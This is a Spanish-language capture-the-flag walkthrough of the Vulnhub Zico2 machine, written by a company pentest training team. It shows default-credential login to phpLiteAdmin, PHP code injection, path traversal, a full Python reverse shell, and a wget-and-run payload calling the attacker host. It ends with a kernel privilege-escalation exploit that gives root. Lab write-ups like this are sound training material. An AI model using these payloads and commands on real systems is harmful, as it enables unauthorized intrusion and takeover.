El equipo técnico de BCNSoluciona, dentro de unas de sus formaciones internas de pentest o test de penetración, test de intrusión, ha practicado un reto de Vulnhub y lo ha resuelto, a continuación os describimos como se ha hecho.
Link de reto: https://www.vulnhub.com/entry/zico2-1,210/
Descripción del autor.
Zico’s Shop: A Boot2Root Machine intended to simulate a real world cenario
Level: Intermediate
Goal: Get root and read the flag file
Description:
Zico is trying to build his website but is having some trouble in choosing what CMS to use. After some tries on a few popular ones, he decided to build his own. Was that a good idea?
El Ataque
Máquina Atacante con Kali Linux
10.0.2.6
Usando la herramienta netdiscover encontramos la maquina victima.
root@kali:~# netdiscover -r 10.0.2.6/24
Usamos Nmap para escanear los servicios de la maquina victima
root@kali:~# nmap -Pn -A -T4 10.0.2.5
Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-18 11:34 CEST
Nmap scan report for 10.0.2.5
Host is up (0.0041s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
| 2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)
|_ 256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Zico's Shop
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 40133/tcp status
|_ 100024 1 57586/udp status
MAC Address: 08:00:27:98:69:CA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 4.12 ms 10.0.2.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.18 seconds
Vemos los puertos abiertos 22, 80 y 111 Vamos a usar la herramienta nikto para tener información del servidor web.
root@kali:~# nikto -h http://10.0.2.5
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.0.2.5
+ Target Hostname: 10.0.2.5
+ Target Port: 80
+ Start Time: 2017-10-18 11:37:36 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 3803593, size: 7970, mtime: Thu Jun 8 21:18:30 2017
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.26
+ 8346 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2017-10-18 11:38:49 (GMT2) (73 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nikto nos revela algunos directorios pero nada que me llame la atención excepto…
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names
Antes de empezar con mod_negotiation (Metasploit tiene un modulo para ello) prefiero usar la herramienta dirb para encontrar posibles directorios interesantes.
root@kali:~# dirb http://10.0.2.5/ /usr/share/dirb/wordlists/common.txt
----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Oct 18 11:54:29 2017
URL_BASE: http://10.0.2.5/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.0.2.5/ ----
+ http://10.0.2.5/cgi-bin/ (CODE:403|SIZE:284)
==> DIRECTORY: http://10.0.2.5/css/
==> DIRECTORY: http://10.0.2.5/dbadmin/
==> DIRECTORY: http://10.0.2.5/img/
+ http://10.0.2.5/index (CODE:200|SIZE:7970)
+ http://10.0.2.5/index.html (CODE:200|SIZE:7970)
==> DIRECTORY: http://10.0.2.5/js/
+ http://10.0.2.5/LICENSE (CODE:200|SIZE:1094)
+ http://10.0.2.5/package (CODE:200|SIZE:789)
+ http://10.0.2.5/server-status (CODE:403|SIZE:289)
+ http://10.0.2.5/tools (CODE:200|SIZE:8355)
==> DIRECTORY: http://10.0.2.5/vendor/
+ http://10.0.2.5/view (CODE:200|SIZE:0)
Interesante el directorio /dbadmin Vamos a verlo desde el explorador.
Vaya phpLiteAdmin v1.9.3… Busquemos con la herramienta searchsploit a ver si hay algún tipo de fallo en esa versión. Sigamos con el pentest.
root@kali:~# searchsploit -t phpliteadmin
------------------------------------------------------------------------------------------------------------------ ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------------------------------------------------------ ----------------------------------
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection | php/webapps/24044.txt
phpLiteAdmin - 'table' Parameter SQL Injection | php/webapps/38228.txt
phpLiteAdmin 1.1 - Multiple Vulnerabilities | php/webapps/37515.txt
phpLiteAdmin 1.9.6 - Multiple Vulnerabilities | php/webapps/39714.txt
------------------------------------------------------------------------------------------------------------------ ----------------------------------
Vaya tenemos una coincidencia… PHPLiteAdmin 1.9.3 – Remote PHP Code Injection
Veamos de que se trata.
root@kali:~# cat /usr/share/exploitdb/platforms/php/webapps/24044.txt
# Exploit Title: phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability
# Google Dork: inurl:phpliteadmin.php (Default PW: admin)
# Date: 01/10/2013
# Exploit Author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt
# Vendor Homepage: http://code.google.com/p/phpliteadmin/
# Vendor Status: Informed
# Software Link: http://phpliteadmin.googlecode.com/files/phpliteadmin_v1-9-3.zip
# Version: 1.9.3
# Tested on: Windows and Linux
Description:
phpliteadmin.php#1784: 'Creating a New Database' =>
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',
An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.
Proof of Concept:
1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.
Preview: http://goo.gl/B5n9O
Hex preview: http://goo.gl/lJ5iQ
2. Now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>
Hex preview: http://goo.gl/v7USQ
3. Now we run hack.php
Done!
Una línea muy interesante de la salida es… # Google Dork: inurl:phpliteadmin.php (Default PW: admin) Vamos a probar a usar admin como password por defecto.
Toma castaña!!! Estamos logados. Ahora leamos que nos dice el fallo que tiene la aplicación. Bien la cuestión es crear una DB con extensión php. Seguidamente creamos una tabla con un campo TEXT y que en el campo default pongamos código php. Utilizare esta sentencia para la PoC, sigamos con el pentest….
<?php phpinfo() ?>
Realizamos los siguientes pasos:
- Creamos la DB poc.php
- Dentro de la DB poc.php, creamos una tabla con el nombre (el que sea en mi caso 1) con 1 campo.
- El nombre de la tabla en mi caso h pero da igual, Type: TEXT y en Default Value: <?php phpinfo() ?>
Bien ya tenemos todo creado y la DB esta en /usr/databases/poc.php Bien ahora el problema es como ejecutarlo. Navegemos por la web.
Navegando navegando llegamos a… http://10.0.2.5/view.php?page=tools.html Intentemos un acceso transversal a archivos.
http://10.0.2.5/view.php?page=../../etc/passwd
Bingo… Intentemos usar ese fallo para ejecutar el poc.php
http://10.0.2.5/view.php?page=../../usr/databases/poc.php
Vemos que se ejecuta la función phpinfo() Bien dejemos volar la imaginación y vamos a subir una reverse Shell. Yo personalmente uso siempre que puedo Python.
Para continuar con el pentest, arranco apache en la maquina local.
root@kali:/var/www/html# systemctl start apache2.service
root@kali:/var/www/html# systemctl status apache2.service
● apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
Active: active (running) since Wed 2017-10-18 12:43:58 CEST; 6s ago
Process: 2698 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Main PID: 2709 (apache2)
Tasks: 7 (limit: 4915)
CGroup: /system.slice/apache2.service
├─2709 /usr/sbin/apache2 -k start
├─2710 /usr/sbin/apache2 -k start
├─2711 /usr/sbin/apache2 -k start
├─2712 /usr/sbin/apache2 -k start
├─2713 /usr/sbin/apache2 -k start
├─2714 /usr/sbin/apache2 -k start
└─2715 /usr/sbin/apache2 -k start
oct 18 12:43:57 kali systemd[1]: Starting The Apache HTTP Server...
oct 18 12:43:58 kali apachectl[2698]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set t
oct 18 12:43:58 kali systemd[1]: Started The Apache HTTP Server.
lines 1-18/18 (END)
Y creo el siguiente script en Python.
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.6",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Ahora vamos a variar la PoC para que la maquina victima se baje el script en Python y lo ejecute y nosotros mediante un netcat a la escucha esperaremos la conexión.
Y para continuar con el pentest , marchando un Netcat escuchando.
Ahora preparemos la maquina víctima. Accedemos de nuevo al phpLiteAdmin.
- Creamos la DB reverse.php
- Creamos una tabla y en el campo default value ponemos lo siguiente…
?php system("cd /tmp; wget http://10.0.2.6/re.py; chmod 777 re.py; Python re.py"); ?>
- Guardamos la tabla y la ejecutamos como antes pero llamando al archivo reverse.php
http://10.0.2.5/view.php?page=../../usr/databases/reverse.php
Ya tenemos una Shell con el servidor, pero ahora spawnearemos una terminal como dios manda. Seguimos con el pentest.
python -c 'import pty;pty.spawn("/bin/bash")'
Bien veamos de que S.O estamos hablando.
www-data@zico:/tmp$ uname -a
uname -a
Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
Ubuntu con Kernel 3.2.0-23-generic. Veamos que versión de Ubuntu
www-data@zico:/tmp$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04.5 LTS
Release: 12.04
Codename: precise
Busquemos a ver si hay un exploit.
root@kali:/var/www/html# searchsploit -t linux kernel 3.2
Y me llama la atención el siguiente…
Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) – ‘perf_swevent_init’ Privilege Escalation
Probemos a ver que pasa. Copiemos el código en el directorio del apache.
root@kali:/var/www/html# cp /usr/share/exploitdb/platforms/lin_x86-64/local/33589.c 33589.c
Descarguemos el exploit en la maquina victima dentro del directorio /tmp
www-data@zico:/tmp$ wget http://10.0.2.6/33589.c -O /tmp/33589.c
wget http://10.0.2.6/33589.c -O /tmp/33589.c
--2017-10-18 11:12:52-- http://10.0.2.6/33589.c
Connecting to 10.0.2.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3664 (3.6K) [text/x-csrc]
Saving to: `/tmp/33589.c'
100%[======================================>] 3,664 --.-K/s in 0s
2017-10-18 11:12:52 (14.2 MB/s) - `/tmp/33589.c' saved [3664/3664]
www-data@zico:/tmp$ ls -lrt
ls -lrt
total 12
-rw-r--r-- 1 www-data www-data 209 Oct 18 10:43 re.py.1
-rwxrwxrwx 1 www-data www-data 209 Oct 18 10:43 re.py
-rw-r--r-- 1 www-data www-data 3664 Oct 18 11:10 33589.c
Demos permisos al fichero.
www-data@zico:/tmp$ chmod 777 33589.c
chmod 777 33589.c
www-data@zico:/tmp$ ls -lrt
ls -lrt
total 12
-rw-r--r-- 1 www-data www-data 209 Oct 18 10:43 re.py.1
-rwxrwxrwx 1 www-data www-data 209 Oct 18 10:43 re.py
-rwxrwxrwx 1 www-data www-data 3664 Oct 18 11:10 33589.c
Compilemos.
www-data@zico:/tmp$ gcc 33589.c -O2 -o 33589
gcc 33589.c -O2 -o 33589
www-data@zico:/tmp$ ls -lrt
ls -lrt
total 28
-rw-r--r-- 1 www-data www-data 209 Oct 18 10:43 re.py.1
-rwxrwxrwx 1 www-data www-data 209 Oct 18 10:43 re.py
-rwxrwxrwx 1 www-data www-data 3664 Oct 18 11:10 33589.c
-rwxr-xr-x 1 www-data www-data 13243 Oct 18 11:15 33589
Ejecutemos con la opción 0 ya que tenemos 3 posibilidades.
www-data@zico:/tmp$ ./33589 0
./33589 0
IDT addr = 0xffffffff81dd7000
Using int = 3 with offset = -49063
root@zico:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@zico:/tmp#
Ya somos root. Busquemos el flag.
root@zico:~# ls -lrt
ls -lrt
total 4
-rw-r--r-- 1 root root 75 Jun 19 11:55 flag.txt
root@zico:~# cat flag
cat flag.txt
#
#
#
# ROOOOT!
# You did it! Congratz!
#
# Hope you enjoyed!
#
#
#
#
root@zico:~#
RETO SUPERADO!!!! con un bonito pentest, o test de intrusión o de penetración…..